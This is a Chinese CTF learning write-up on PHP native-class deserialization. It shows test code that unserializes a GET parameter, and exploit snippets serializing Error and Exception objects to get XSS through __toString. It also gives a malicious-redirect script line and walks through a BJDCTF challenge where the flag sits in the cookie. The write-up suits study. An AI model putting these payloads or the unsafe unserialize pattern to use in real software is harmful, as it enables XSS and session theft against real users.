PHP原生类反序列化

前言:

PHP原生类反序列化之前没遇到过,这次BJDCTF恰好碰到了,通过具体的题目来学习一下

利用魔法方法 __toString

Error----适用于php7版本----XSS

Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个toString的方法。

测试代码

<?php
$a = unserialize($_GET['lemon']);
echo $a;

EXP

<?php
$a = new Error("");
echo urlencode(serialize($a));
#注意版本是PHP7

Exception----适用于php5、7版本----XSS

测试代码(这里直接使用赛题的环境)

<?php
$a = unserialize($_GET['lemon']);
echo $a;

EXP

<?php
$a = new Exception("");
echo urlencode(serialize($a));

PHP原生类反序列化_第1张图片
这里也记录下一些XSS的知识

#实现恶意跳转
<script>window.location.href="http://www.baidu.com";</script>

xss之光

在这里插入图片描述
开始用目录扫描器扫一下,发现是git泄露,下载下来,发现index.php文件
在这里插入图片描述
随便序列化一个传入试试,能输出
PHP原生类反序列化_第2张图片
而且这和之前遇到过的反序列化问题就很不一样了,没有一个类,所以只能找到php内置类来进行反序列化,抓包发现版本是PHP5,使用PHP5内置Exception类进行反序列化

<?php
$a = new Exception("");
echo urlencode(serialize($a));

PHP原生类反序列化_第3张图片
flag就在COOKIE中

总结:

当遇到反序列化问题的时,代码中一个类都没有,便对原生类进行反序列化。

未完待续,待之后发现有新的再来补充。。。

参考博客

https://www.gem-love.com/ctf/2097.html#XSS

http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

你可能感兴趣的:(WEB漏洞学习)